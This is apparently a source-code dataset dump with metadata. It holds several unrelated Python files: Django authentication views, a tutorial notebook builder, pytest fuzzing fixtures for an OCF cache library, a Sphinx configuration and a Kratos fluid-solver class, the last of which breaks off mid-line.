from datetime import datetime from demoapp.sign_classifier import Sign from demoapp.sign_db import SignDB from demoapp.sign_validator import SignValidator from django.http import HttpRequest from django.shortcuts import render from .forms import * def index(request): assert isinstance(request, HttpRequest) return render( request, 'index.html', { 'title': 'Home Page', 'date': datetime.now(), } ) def auth(request): assert isinstance(request, HttpRequest) # создание экземпляра формы(django forms), содержит поля: id пользователя и строка признаков auth_form = AuthForm() status = '' # в этой функции выпоняется проверка, зарегистрирован ли пользователь с указанным id # и если таковой имеется то с помощью алгоритам knn этот пользователь классифицируется по полученному # вектору признаков # функция вовзращает true если указанный пользователь существует и полученный вектор признаков # успешно клссифицирован, в противно млычае возвращается false if 'signs' in request.POST: result, status = Sign.process_sign(request.POST['user_id'], request.POST['signs']) # Генерируем html страницу и в качестве параметров передаем форму авторизации # и статус текущей авторизации return render( request, 'auth.html', { 'form': auth_form, 'status': status, }) def create_account(request): create_account_form = CreateAccountForm() msg = 'Введите параметры' if 'userId' in request.POST \ and 'signVector1' in request.POST \ and 'signVector2' in request.POST \ and 'signVector3' in request.POST: user_id = request.POST['userId'] signs = [request.POST['signVector1'], request.POST['signVector2'], request.POST['signVector3']] result, status = SignValidator.is_sign_valid(signs, sign_len=4) if result is True: proceed_user_id, proceed_signs = Sign.cast_data_to_numeric_val(user_id=user_id, signs=signs) status, msg = SignDB.add_user(proceed_user_id, proceed_signs) return render( request, 'create_account.html', { 'form': create_account_form, 'status': msg } )
32.083333
105
0.666667
from datetime import datetime from demoapp.sign_classifier import Sign from demoapp.sign_db import SignDB from demoapp.sign_validator import SignValidator from django.http import HttpRequest from django.shortcuts import render from .forms import * def index(request): assert isinstance(request, HttpRequest) return render( request, 'index.html', { 'title': 'Home Page', 'date': datetime.now(), } ) def auth(request): assert isinstance(request, HttpRequest) auth_form = AuthForm() status = '' if 'signs' in request.POST: result, status = Sign.process_sign(request.POST['user_id'], request.POST['signs']) return render( request, 'auth.html', { 'form': auth_form, 'status': status, }) def create_account(request): create_account_form = CreateAccountForm() msg = 'Введите параметры' if 'userId' in request.POST \ and 'signVector1' in request.POST \ and 'signVector2' in request.POST \ and 'signVector3' in request.POST: user_id = request.POST['userId'] signs = [request.POST['signVector1'], request.POST['signVector2'], request.POST['signVector3']] result, status = SignValidator.is_sign_valid(signs, sign_len=4) if result is True: proceed_user_id, proceed_signs = Sign.cast_data_to_numeric_val(user_id=user_id, signs=signs) status, msg = SignDB.add_user(proceed_user_id, proceed_signs) return render( request, 'create_account.html', { 'form': create_account_form, 'status': msg } )
true
true
f71f200d67c6267ab2d95f6a61fffdcb40c31d6a
6,201
py
Python
tutorials_templates/build.py
dataloop-ai/dtlpy-documentation
fe607a084fa660328ae5ab29ba8e05a4627aad51
[ "MIT" ]
3
2022-01-07T20:33:49.000Z
2022-03-22T12:41:30.000Z
tutorials_templates/build.py
dataloop-ai/dtlpy-documentation
fe607a084fa660328ae5ab29ba8e05a4627aad51
[ "MIT" ]
null
null
null
tutorials_templates/build.py
dataloop-ai/dtlpy-documentation
fe607a084fa660328ae5ab29ba8e05a4627aad51
[ "MIT" ]
3
2021-12-29T13:11:30.000Z
2022-03-22T12:25:50.000Z
import json import importlib.util import inspect import os LINE_HEADER = '<func:' TEMPLATES_PATH = 'tutorials_templates' TUTORIALS_PATH = 'tutorials' NOTEBOOK_TEMPLATE = {"cells": [], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.7.7" } }, "nbformat": 4, "nbformat_minor": 4} MD_CELL_TEMPLATE = { "cell_type": "markdown", "metadata": {}, "source": [] } CODE_CELL_TEMPLATE = { "cell_type": "code", "execution_count": 0, "metadata": {}, "outputs": [], "source": [] } def _build_md_block(func_string): # ignore 0 def line and the """ source = list() for line in func_string[2:-1]: source.append(line[4:].rstrip() + ' \n') # remove 4 spaces at the beginning # # # remove the "def" line # func_string = func_string[1:] # source = list() # for line in func_string: # source.append(line) # remove # source = source[1:-1] # remove first and last line (triple quotes) return source def build_notebook(skeleton_filepath): mds_filepath = os.path.join(os.path.dirname(skeleton_filepath), 'mds.py') scripts_filepath = os.path.join(os.path.dirname(skeleton_filepath), 'scripts.py') #### mds_spec = importlib.util.spec_from_file_location('mds', mds_filepath) mds_module = importlib.util.module_from_spec(mds_spec) mds_spec.loader.exec_module(mds_module) #### scripts_spec = importlib.util.spec_from_file_location('scripts', scripts_filepath) scripts_module = importlib.util.module_from_spec(scripts_spec) scripts_spec.loader.exec_module(scripts_module) with open(skeleton_filepath, 'r') as f: skeleton = json.load(f) cells = list() for cell_def in skeleton: if cell_def['type'] == 'md': cell = MD_CELL_TEMPLATE.copy() func_name = cell_def['name'] func = getattr(mds_module, func_name) func_string, _ = inspect.getsourcelines(func) source = _build_md_block(func_string) # source = source# adding double space for new line cell['source'] = source elif cell_def['type'] == 'code': cell = CODE_CELL_TEMPLATE.copy() func_name = cell_def['name'] func = getattr(scripts_module, func_name) func_string, _ = inspect.getsourcelines(func) # remove the "def" line func_string = func_string[1:] source = [l[4:] for l in func_string] cell['source'] = source else: raise ValueError('unknown cell type {!r}'.format(cell_def['type'])) cells.append(cell) NOTEBOOK_TEMPLATE['cells'] = cells notebook_filepath = os.path.dirname(skeleton_filepath).replace(TEMPLATES_PATH, TUTORIALS_PATH) notebook_filepath = os.path.join(notebook_filepath, 'chapter.ipynb') os.makedirs(os.path.dirname(notebook_filepath), exist_ok=True) with open(notebook_filepath, 'w', encoding='UTF-8') as f: json.dump(NOTEBOOK_TEMPLATE, f) def build_md_file(skeleton_filepath): mds_filepath = os.path.join(os.path.dirname(skeleton_filepath), 'mds.py') scripts_filepath = os.path.join(os.path.dirname(skeleton_filepath), 'scripts.py') #### mds_spec = importlib.util.spec_from_file_location('mds', mds_filepath) mds_module = importlib.util.module_from_spec(mds_spec) mds_spec.loader.exec_module(mds_module) #### scripts_spec = importlib.util.spec_from_file_location('scripts', scripts_filepath) scripts_module = importlib.util.module_from_spec(scripts_spec) scripts_spec.loader.exec_module(scripts_module) with open(skeleton_filepath, 'r') as f: skeleton = json.load(f) lines = list() for cell_def in skeleton: if cell_def['type'] == 'md': func_name = cell_def['name'] func = getattr(mds_module, func_name) func_string, _ = inspect.getsourcelines(func) lines.extend(_build_md_block(func_string)) elif cell_def['type'] == 'code': func_name = cell_def['name'] func = getattr(scripts_module, func_name) func_string, _ = inspect.getsourcelines(func) lines.append('\n```python\n') # ignore 0 def line and the """ for line in func_string[1:]: lines.append(line[4:]) # remove spaces at the beginning lines.append('```\n') else: raise ValueError('unknown cell type {!r}'.format(cell_def['type'])) md_filepath = os.path.dirname(skeleton_filepath).replace(TEMPLATES_PATH, TUTORIALS_PATH) md_filepath = os.path.join(md_filepath, 'chapter.md') os.makedirs(os.path.dirname(md_filepath), exist_ok=True) with open(md_filepath, 'w', encoding='UTF-8') as f: f.writelines(lines) def main(): for path, subdirs, files in os.walk(TEMPLATES_PATH): for filename in files: if filename == 'skeleton.json': print('Preparing {!r} ...'.format(path)) # skeleton_filepath = "tutorials_templates/faas/multiple_functions/skeleton.json" skeleton_filepath = os.path.join(path, filename) build_notebook(skeleton_filepath=skeleton_filepath) build_md_file(skeleton_filepath=skeleton_filepath) print('Done!') if __name__ == "__main__": main()
37.810976
98
0.584583
import json import importlib.util import inspect import os LINE_HEADER = '<func:' TEMPLATES_PATH = 'tutorials_templates' TUTORIALS_PATH = 'tutorials' NOTEBOOK_TEMPLATE = {"cells": [], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.7.7" } }, "nbformat": 4, "nbformat_minor": 4} MD_CELL_TEMPLATE = { "cell_type": "markdown", "metadata": {}, "source": [] } CODE_CELL_TEMPLATE = { "cell_type": "code", "execution_count": 0, "metadata": {}, "outputs": [], "source": [] } def _build_md_block(func_string): source = list() for line in func_string[2:-1]: source.append(line[4:].rstrip() + ' \n') # remove 4 spaces at the beginning # # # remove the "def" line # func_string = func_string[1:] # source = list() # for line in func_string: # source.append(line) # remove # source = source[1:-1] # remove first and last line (triple quotes) return source def build_notebook(skeleton_filepath): mds_filepath = os.path.join(os.path.dirname(skeleton_filepath), 'mds.py') scripts_filepath = os.path.join(os.path.dirname(skeleton_filepath), 'scripts.py') #### mds_spec = importlib.util.spec_from_file_location('mds', mds_filepath) mds_module = importlib.util.module_from_spec(mds_spec) mds_spec.loader.exec_module(mds_module) #### scripts_spec = importlib.util.spec_from_file_location('scripts', scripts_filepath) scripts_module = importlib.util.module_from_spec(scripts_spec) scripts_spec.loader.exec_module(scripts_module) with open(skeleton_filepath, 'r') as f: skeleton = json.load(f) cells = list() for cell_def in skeleton: if cell_def['type'] == 'md': cell = MD_CELL_TEMPLATE.copy() func_name = cell_def['name'] func = getattr(mds_module, func_name) func_string, _ = inspect.getsourcelines(func) source = _build_md_block(func_string) # source = source# adding double space for new line cell['source'] = source elif cell_def['type'] == 'code': cell = CODE_CELL_TEMPLATE.copy() func_name = cell_def['name'] func = getattr(scripts_module, func_name) func_string, _ = inspect.getsourcelines(func) # remove the "def" line func_string = func_string[1:] source = [l[4:] for l in func_string] cell['source'] = source else: raise ValueError('unknown cell type {!r}'.format(cell_def['type'])) cells.append(cell) NOTEBOOK_TEMPLATE['cells'] = cells notebook_filepath = os.path.dirname(skeleton_filepath).replace(TEMPLATES_PATH, TUTORIALS_PATH) notebook_filepath = os.path.join(notebook_filepath, 'chapter.ipynb') os.makedirs(os.path.dirname(notebook_filepath), exist_ok=True) with open(notebook_filepath, 'w', encoding='UTF-8') as f: json.dump(NOTEBOOK_TEMPLATE, f) def build_md_file(skeleton_filepath): mds_filepath = os.path.join(os.path.dirname(skeleton_filepath), 'mds.py') scripts_filepath = os.path.join(os.path.dirname(skeleton_filepath), 'scripts.py') #### mds_spec = importlib.util.spec_from_file_location('mds', mds_filepath) mds_module = importlib.util.module_from_spec(mds_spec) mds_spec.loader.exec_module(mds_module) #### scripts_spec = importlib.util.spec_from_file_location('scripts', scripts_filepath) scripts_module = importlib.util.module_from_spec(scripts_spec) scripts_spec.loader.exec_module(scripts_module) with open(skeleton_filepath, 'r') as f: skeleton = json.load(f) lines = list() for cell_def in skeleton: if cell_def['type'] == 'md': func_name = cell_def['name'] func = getattr(mds_module, func_name) func_string, _ = inspect.getsourcelines(func) lines.extend(_build_md_block(func_string)) elif cell_def['type'] == 'code': func_name = cell_def['name'] func = getattr(scripts_module, func_name) func_string, _ = inspect.getsourcelines(func) lines.append('\n```python\n') # ignore 0 def line and the """ for line in func_string[1:]: lines.append(line[4:]) lines.append('```\n') else: raise ValueError('unknown cell type {!r}'.format(cell_def['type'])) md_filepath = os.path.dirname(skeleton_filepath).replace(TEMPLATES_PATH, TUTORIALS_PATH) md_filepath = os.path.join(md_filepath, 'chapter.md') os.makedirs(os.path.dirname(md_filepath), exist_ok=True) with open(md_filepath, 'w', encoding='UTF-8') as f: f.writelines(lines) def main(): for path, subdirs, files in os.walk(TEMPLATES_PATH): for filename in files: if filename == 'skeleton.json': print('Preparing {!r} ...'.format(path)) skeleton_filepath = os.path.join(path, filename) build_notebook(skeleton_filepath=skeleton_filepath) build_md_file(skeleton_filepath=skeleton_filepath) print('Done!') if __name__ == "__main__": main()
true
true
f71f205dda870b1a5da937518b795fa9c5dde373
2,306
py
Python
tests/functional/tests/security/conftest.py
mahsaama/MRUPolicyInOpenCAS
bb97122f31dd64f2fb7d2be47057cf0721d109ab
[ "BSD-3-Clause-Clear" ]
3
2021-07-29T08:39:03.000Z
2022-02-25T10:00:36.000Z
tests/functional/tests/security/conftest.py
josehu07/ocf-mf
3e54f9a1de24ec7f44869e7f2c5a6883321d32bd
[ "BSD-3-Clause-Clear" ]
null
null
null
tests/functional/tests/security/conftest.py
josehu07/ocf-mf
3e54f9a1de24ec7f44869e7f2c5a6883321d32bd
[ "BSD-3-Clause-Clear" ]
null
null
null
# # Copyright(c) 2019-2020 Intel Corporation # SPDX-License-Identifier: BSD-3-Clause-Clear # import os import sys from ctypes import ( c_uint64, c_uint32, c_uint16, c_int ) from tests.utils.random import RandomStringGenerator, RandomGenerator, DefaultRanges, Range from pyocf.types.cache import CacheMode, EvictionPolicy, MetadataLayout, PromotionPolicy from pyocf.types.shared import CacheLineSize import pytest sys.path.append(os.path.join(os.path.dirname(__file__), os.path.pardir)) def enum_min(enum): return list(enum)[0].value def enum_max(enum): return list(enum)[-1].value def enum_range(enum): return Range(enum_min(enum), enum_max(enum)) @pytest.fixture(params=RandomGenerator(DefaultRanges.UINT16)) def c_uint16_randomize(request): return request.param @pytest.fixture(params=RandomGenerator(DefaultRanges.UINT32)) def c_uint32_randomize(request): return request.param @pytest.fixture(params=RandomGenerator(DefaultRanges.UINT64)) def c_uint64_randomize(request): return request.param @pytest.fixture(params=RandomGenerator(DefaultRanges.INT)) def c_int_randomize(request): return request.param @pytest.fixture(params=RandomGenerator(DefaultRanges.INT)) def c_int_sector_randomize(request): return request.param // 512 * 512 @pytest.fixture(params=RandomStringGenerator()) def string_randomize(request): return request.param @pytest.fixture( params=RandomGenerator(DefaultRanges.UINT32).exclude_range(enum_range(CacheMode)) ) def not_cache_mode_randomize(request): return request.param @pytest.fixture( params=RandomGenerator(DefaultRanges.UINT32).exclude_range(enum_range(CacheLineSize)) ) def not_cache_line_size_randomize(request): return request.param @pytest.fixture( params=RandomGenerator(DefaultRanges.UINT32).exclude_range(enum_range(EvictionPolicy)) ) def not_eviction_policy_randomize(request): return request.param @pytest.fixture( params=RandomGenerator(DefaultRanges.UINT32).exclude_range(enum_range(PromotionPolicy)) ) def not_promotion_policy_randomize(request): return request.param @pytest.fixture( params=RandomGenerator(DefaultRanges.UINT32).exclude_range(enum_range(MetadataLayout)) ) def not_metadata_layout_randomize(request): return request.param
23.292929
91
0.79098
import os import sys from ctypes import ( c_uint64, c_uint32, c_uint16, c_int ) from tests.utils.random import RandomStringGenerator, RandomGenerator, DefaultRanges, Range from pyocf.types.cache import CacheMode, EvictionPolicy, MetadataLayout, PromotionPolicy from pyocf.types.shared import CacheLineSize import pytest sys.path.append(os.path.join(os.path.dirname(__file__), os.path.pardir)) def enum_min(enum): return list(enum)[0].value def enum_max(enum): return list(enum)[-1].value def enum_range(enum): return Range(enum_min(enum), enum_max(enum)) @pytest.fixture(params=RandomGenerator(DefaultRanges.UINT16)) def c_uint16_randomize(request): return request.param @pytest.fixture(params=RandomGenerator(DefaultRanges.UINT32)) def c_uint32_randomize(request): return request.param @pytest.fixture(params=RandomGenerator(DefaultRanges.UINT64)) def c_uint64_randomize(request): return request.param @pytest.fixture(params=RandomGenerator(DefaultRanges.INT)) def c_int_randomize(request): return request.param @pytest.fixture(params=RandomGenerator(DefaultRanges.INT)) def c_int_sector_randomize(request): return request.param // 512 * 512 @pytest.fixture(params=RandomStringGenerator()) def string_randomize(request): return request.param @pytest.fixture( params=RandomGenerator(DefaultRanges.UINT32).exclude_range(enum_range(CacheMode)) ) def not_cache_mode_randomize(request): return request.param @pytest.fixture( params=RandomGenerator(DefaultRanges.UINT32).exclude_range(enum_range(CacheLineSize)) ) def not_cache_line_size_randomize(request): return request.param @pytest.fixture( params=RandomGenerator(DefaultRanges.UINT32).exclude_range(enum_range(EvictionPolicy)) ) def not_eviction_policy_randomize(request): return request.param @pytest.fixture( params=RandomGenerator(DefaultRanges.UINT32).exclude_range(enum_range(PromotionPolicy)) ) def not_promotion_policy_randomize(request): return request.param @pytest.fixture( params=RandomGenerator(DefaultRanges.UINT32).exclude_range(enum_range(MetadataLayout)) ) def not_metadata_layout_randomize(request): return request.param
true
true
f71f21c0e694d95be7a898ee0e483f58d5892616
4,759
py
Python
docs/conf.py
compas-dev/compas_occ
9ff1bf3bdab6c750930e9864edcfdc8afee255ab
[ "MIT" ]
6
2021-03-23T09:31:02.000Z
2022-02-14T13:13:43.000Z
docs/conf.py
compas-dev/compas_occ
9ff1bf3bdab6c750930e9864edcfdc8afee255ab
[ "MIT" ]
6
2021-03-23T15:03:14.000Z
2022-01-18T07:43:36.000Z
docs/conf.py
compas-dev/compas_occ
9ff1bf3bdab6c750930e9864edcfdc8afee255ab
[ "MIT" ]
4
2021-03-23T14:51:31.000Z
2022-03-29T07:48:42.000Z
# flake8: noqa # -*- coding: utf-8 -*- # If your documentation needs a minimal Sphinx version, state it here. # # needs_sphinx = "1.0" import sys import os import inspect import importlib import sphinx_compas_theme from sphinx.ext.napoleon.docstring import NumpyDocstring sys.path.insert(0, os.path.join(os.path.dirname(__file__), '../src')) # -- General configuration ------------------------------------------------ project = "COMPAS OCC" copyright = "Block Research Group - ETH Zurich" author = "tom van mele" release = "0.3.3" version = ".".join(release.split(".")[0:2]) master_doc = "index" source_suffix = [".rst", ] templates_path = sphinx_compas_theme.get_autosummary_templates_path() exclude_patterns = [] pygments_style = "sphinx" show_authors = True add_module_names = True language = None # -- Extension configuration ------------------------------------------------ extensions = [ "sphinx.ext.autodoc", "sphinx.ext.autosummary", "sphinx.ext.doctest", "sphinx.ext.coverage", "sphinx.ext.linkcode", "sphinx.ext.extlinks", "sphinx.ext.intersphinx", "sphinx.ext.mathjax", "sphinx.ext.napoleon", "sphinx.ext.githubpages", # "matplotlib.sphinxext.plot_directive", ] # autodoc options autodoc_mock_imports = [ "System", "clr", "Eto", "Rhino", "Grasshopper", "scriptcontext", "rhinoscriptsyntax", "bpy", "bmesh", "mathutils" ] autodoc_default_options = { "undoc-members": True, "show-inheritance": True, } autodoc_member_order = "alphabetical" autoclass_content = "class" def skip(app, what, name, obj, would_skip, options): if name.startswith('_'): return True return would_skip def setup(app): app.connect("autodoc-skip-member", skip) # autosummary options autosummary_generate = True # napoleon options napoleon_google_docstring = False napoleon_numpy_docstring = True napoleon_include_init_with_doc = False napoleon_include_private_with_doc = False napoleon_include_special_with_doc = True napoleon_use_admonition_for_examples = False napoleon_use_admonition_for_notes = False napoleon_use_admonition_for_references = False napoleon_use_ivar = False napoleon_use_param = False napoleon_use_rtype = False # plot options # plot_html_show_source_link = False # plot_html_show_formats = False # docstring sections def parse_attributes_section(self, section): return self._format_fields("Attributes", self._consume_fields()) NumpyDocstring._parse_attributes_section = parse_attributes_section def patched_parse(self): self._sections["attributes"] = self._parse_attributes_section self._unpatched_parse() NumpyDocstring._unpatched_parse = NumpyDocstring._parse NumpyDocstring._parse = patched_parse # intersphinx options intersphinx_mapping = { "python": ("https://docs.python.org/", None), "compas": ("https://compas.dev/compas/latest/", None), } # linkcode def linkcode_resolve(domain, info): if domain != 'py': return None if not info['module']: return None if not info['fullname']: return None package = info['module'].split('.')[0] if not package.startswith('compas_occ'): return None module = importlib.import_module(info['module']) parts = info['fullname'].split('.') if len(parts) == 1: obj = getattr(module, info['fullname']) filename = inspect.getmodule(obj).__name__.replace('.', '/') lineno = inspect.getsourcelines(obj)[1] elif len(parts) == 2: obj_name, attr_name = parts obj = getattr(module, obj_name) attr = getattr(obj, attr_name) if inspect.isfunction(attr): filename = inspect.getmodule(obj).__name__.replace('.', '/') lineno = inspect.getsourcelines(attr)[1] else: return None else: return None return f"https://github.com/compas-dev/compas_occ/blob/main/src/{filename}.py#L{lineno}" # extlinks extlinks = {} # -- Options for HTML output ---------------------------------------------- html_theme = "compaspkg" html_theme_path = sphinx_compas_theme.get_html_theme_path() html_theme_options = { "package_name" : "compas_occ", "package_title" : project, "package_version" : release, "package_author" : "compas-dev", "package_docs" : "https://compas.dev/compas_occ/", "package_repo" : "https://github.com/compas-dev/compas_occ", "package_old_versions_txt": "https://compas.dev/compas_occ/doc_versions.txt" } html_context = {} html_static_path = [] html_extra_path = [] html_last_updated_fmt = "" html_copy_source = False html_show_sourcelink = False html_permalinks = False html_permalinks_icon = "" html_compact_lists = True
24.786458
92
0.677663
import sys import os import inspect import importlib import sphinx_compas_theme from sphinx.ext.napoleon.docstring import NumpyDocstring sys.path.insert(0, os.path.join(os.path.dirname(__file__), '../src')) project = "COMPAS OCC" copyright = "Block Research Group - ETH Zurich" author = "tom van mele" release = "0.3.3" version = ".".join(release.split(".")[0:2]) master_doc = "index" source_suffix = [".rst", ] templates_path = sphinx_compas_theme.get_autosummary_templates_path() exclude_patterns = [] pygments_style = "sphinx" show_authors = True add_module_names = True language = None extensions = [ "sphinx.ext.autodoc", "sphinx.ext.autosummary", "sphinx.ext.doctest", "sphinx.ext.coverage", "sphinx.ext.linkcode", "sphinx.ext.extlinks", "sphinx.ext.intersphinx", "sphinx.ext.mathjax", "sphinx.ext.napoleon", "sphinx.ext.githubpages", ] autodoc_mock_imports = [ "System", "clr", "Eto", "Rhino", "Grasshopper", "scriptcontext", "rhinoscriptsyntax", "bpy", "bmesh", "mathutils" ] autodoc_default_options = { "undoc-members": True, "show-inheritance": True, } autodoc_member_order = "alphabetical" autoclass_content = "class" def skip(app, what, name, obj, would_skip, options): if name.startswith('_'): return True return would_skip def setup(app): app.connect("autodoc-skip-member", skip) autosummary_generate = True napoleon_google_docstring = False napoleon_numpy_docstring = True napoleon_include_init_with_doc = False napoleon_include_private_with_doc = False napoleon_include_special_with_doc = True napoleon_use_admonition_for_examples = False napoleon_use_admonition_for_notes = False napoleon_use_admonition_for_references = False napoleon_use_ivar = False napoleon_use_param = False napoleon_use_rtype = False def parse_attributes_section(self, section): return self._format_fields("Attributes", self._consume_fields()) NumpyDocstring._parse_attributes_section = parse_attributes_section def patched_parse(self): self._sections["attributes"] = self._parse_attributes_section self._unpatched_parse() NumpyDocstring._unpatched_parse = NumpyDocstring._parse NumpyDocstring._parse = patched_parse intersphinx_mapping = { "python": ("https://docs.python.org/", None), "compas": ("https://compas.dev/compas/latest/", None), } def linkcode_resolve(domain, info): if domain != 'py': return None if not info['module']: return None if not info['fullname']: return None package = info['module'].split('.')[0] if not package.startswith('compas_occ'): return None module = importlib.import_module(info['module']) parts = info['fullname'].split('.') if len(parts) == 1: obj = getattr(module, info['fullname']) filename = inspect.getmodule(obj).__name__.replace('.', '/') lineno = inspect.getsourcelines(obj)[1] elif len(parts) == 2: obj_name, attr_name = parts obj = getattr(module, obj_name) attr = getattr(obj, attr_name) if inspect.isfunction(attr): filename = inspect.getmodule(obj).__name__.replace('.', '/') lineno = inspect.getsourcelines(attr)[1] else: return None else: return None return f"https://github.com/compas-dev/compas_occ/blob/main/src/{filename}.py#L{lineno}" extlinks = {} html_theme = "compaspkg" html_theme_path = sphinx_compas_theme.get_html_theme_path() html_theme_options = { "package_name" : "compas_occ", "package_title" : project, "package_version" : release, "package_author" : "compas-dev", "package_docs" : "https://compas.dev/compas_occ/", "package_repo" : "https://github.com/compas-dev/compas_occ", "package_old_versions_txt": "https://compas.dev/compas_occ/doc_versions.txt" } html_context = {} html_static_path = [] html_extra_path = [] html_last_updated_fmt = "" html_copy_source = False html_show_sourcelink = False html_permalinks = False html_permalinks_icon = "" html_compact_lists = True
true
true
f71f24ad28b326dc68ea84401a829a4afe299d99
8,582
py
Python
applications/FluidDynamicsApplication/python_scripts/navier_stokes_compressible_explicit_solver.py
philbucher/Kratos
1ceb900dbacfab344e27e32285250eafc52093ec
[ "BSD-4-Clause" ]
1
2021-08-29T11:20:11.000Z
2021-08-29T11:20:11.000Z
applications/FluidDynamicsApplication/python_scripts/navier_stokes_compressible_explicit_solver.py
philbucher/Kratos
1ceb900dbacfab344e27e32285250eafc52093ec
[ "BSD-4-Clause" ]
1
2021-11-19T12:14:50.000Z
2021-11-19T12:14:50.000Z
applications/FluidDynamicsApplication/python_scripts/navier_stokes_compressible_explicit_solver.py
philbucher/Kratos
1ceb900dbacfab344e27e32285250eafc52093ec
[ "BSD-4-Clause" ]
null
null
null
from __future__ import print_function, absolute_import, division # makes KratosMultiphysics backward compatible with python 2.6 and 2.7 # Importing the Kratos Library import KratosMultiphysics import KratosMultiphysics.FluidDynamicsApplication as KratosFluid ## Import base class file from KratosMultiphysics.FluidDynamicsApplication.fluid_solver import FluidSolver from KratosMultiphysics import python_linear_solver_factory as linear_solver_factory from KratosMultiphysics.FluidDynamicsApplication import check_and_prepare_model_process_fluid def CreateSolver(model, custom_settings): return NavierStokesCompressibleExplicitSolver(model, custom_settings) class NavierStokesCompressibleExplicitSolver(FluidSolver): def __init__(self, model, custom_settings): # Call base fluid solver constructor self._validate_settings_in_baseclass=True # To be removed eventually super(NavierStokesCompressibleExplicitSolver,self).__init__(model,custom_settings) # Define the formulation settings self.element_name = "CompressibleNavierStokesExplicit" if custom_settings["domain_size"].GetInt() == 2: self.condition_name = "LineCondition" # TODO: We need to create a Compressible NS condition (now using the base ones) elif custom_settings["domain_size"].GetInt() == 3: self.condition_name = "SurfaceCondition" # TODO: We need to create a Compressible NS condition (now using the base ones) else: err_msg = "Wrong domain size " raise Exception(err_msg) self.min_buffer_size = 2 self.element_has_nodal_properties = False # Note that DENSITY is nodally stored but considered as a DOF KratosMultiphysics.Logger.PrintInfo("::[NavierStokesCompressibleExplicitSolver]:: ","Construction of NavierStokesCompressibleExplicitSolver finished.") @classmethod def GetDefaultParameters(cls): ##settings string in json format default_settings = KratosMultiphysics.Parameters(""" { "solver_type": "compressible_solver_from_defaults", "model_part_name": "FluidModelPart", "domain_size": -1, "model_import_settings": { "input_type": "mdpa", "input_filename": "", "reorder": false }, "material_import_settings": { "materials_filename": "FluidMaterials.json" }, "echo_level": 1, "time_order": 2, "time_scheme" : "RK4", "move_mesh_flag": false, "shock_capturing": true, "compute_reactions": false, "reform_dofs_at_each_step" : false, "assign_neighbour_elements_to_conditions": true, "volume_model_part_name" : "volume_model_part", "skin_parts": [""], "no_skin_parts":[""], "time_stepping" : { "automatic_time_step" : true, "CFL_number" : 1.0, "minimum_delta_time" : 1.0e-8, "maximum_delta_time" : 1.0e-2 }, "use_oss" : true }""") default_settings.AddMissingParameters(super().GetDefaultParameters()) return default_settings def AddVariables(self): # Add DOF variables (formulation written in conservative form) and reactions self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.DENSITY) # Density DOF self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.MOMENTUM) # Momentum DOF self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.TOTAL_ENERGY) # Total energy DOF self.main_model_part.AddNodalSolutionStepVariable(KratosFluid.REACTION_DENSITY) # Density DOF reaction self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.REACTION) # Momentum DOF reaction self.main_model_part.AddNodalSolutionStepVariable(KratosFluid.REACTION_ENERGY) # Total energy DOF reaction # Required variables self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.BODY_FORCE) self.main_model_part.AddNodalSolutionStepVariable(KratosFluid.MASS_SOURCE) self.main_model_part.AddNodalSolutionStepVariable(KratosFluid.HEAT_SOURCE) self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.NORMAL) # Post-process variables self.main_model_part.AddNodalSolutionStepVariable(KratosFluid.MACH) self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.VELOCITY) self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.PRESSURE) self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.TEMPERATURE) KratosMultiphysics.Logger.PrintInfo("::[NavierStokesCompressibleExplicitSolver]:: ","Explicit compressible fluid solver variables added correctly") def AddDofs(self): domain_size = self.main_model_part.ProcessInfo[KratosMultiphysics.DOMAIN_SIZE] KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.DENSITY, KratosFluid.REACTION_DENSITY, self.main_model_part) KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.MOMENTUM_X, KratosMultiphysics.REACTION_X, self.main_model_part) KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.MOMENTUM_Y, KratosMultiphysics.REACTION_Y, self.main_model_part) if domain_size == 3: KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.MOMENTUM_Z, KratosMultiphysics.REACTION_Z, self.main_model_part) KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.TOTAL_ENERGY, KratosFluid.REACTION_ENERGY, self.main_model_part) def Initialize(self): self.GetComputingModelPart().ProcessInfo[KratosMultiphysics.OSS_SWITCH] = int(self.settings["use_oss"].GetBool()) self.GetComputingModelPart().ProcessInfo[KratosFluid.SHOCK_CAPTURING_SWITCH] = int(self.settings["shock_capturing"].GetBool()) self.solver = self._get_solution_strategy() self.solver.SetEchoLevel(self.settings["echo_level"].GetInt()) self.solver.Initialize() KratosMultiphysics.Logger.PrintInfo("::[NavierStokesCompressibleExplicitSolver]:: ","Explicit compressible fluid solver initialization finished.") def _get_solution_strategy(self): if not hasattr(self, '_solution_strategy'): self._solution_strategy = self._create_solution_strategy() return self._solution_strategy def _create_solution_strategy(self): self.computing_model_part = self.GetComputingModelPart() strategy_settings = KratosMultiphysics.Parameters('''{}''') strategy_settings.AddEmptyValue("rebuild_level").SetInt(0 if self.settings["reform_dofs_at_each_step"].GetBool() else 1) strategy_settings.AddEmptyValue("move_mesh_flag").SetBool(self.settings["move_mesh_flag"].GetBool()) strategy_settings.AddEmptyValue("shock_capturing").SetBool(self.settings["shock_capturing"].GetBool()) rk_parameter = self.settings["time_scheme"].GetString() rk_startegies = { "RK3-TVD": KratosFluid.CompressibleNavierStokesExplicitSolvingStrategyRungeKutta3TVD, "RK4" : KratosFluid.CompressibleNavierStokesExplicitSolvingStrategyRungeKutta4 } if rk_parameter in rk_startegies: return rk_startegies[rk_parameter](self.computing_model_part, strategy_settings) err_msg = 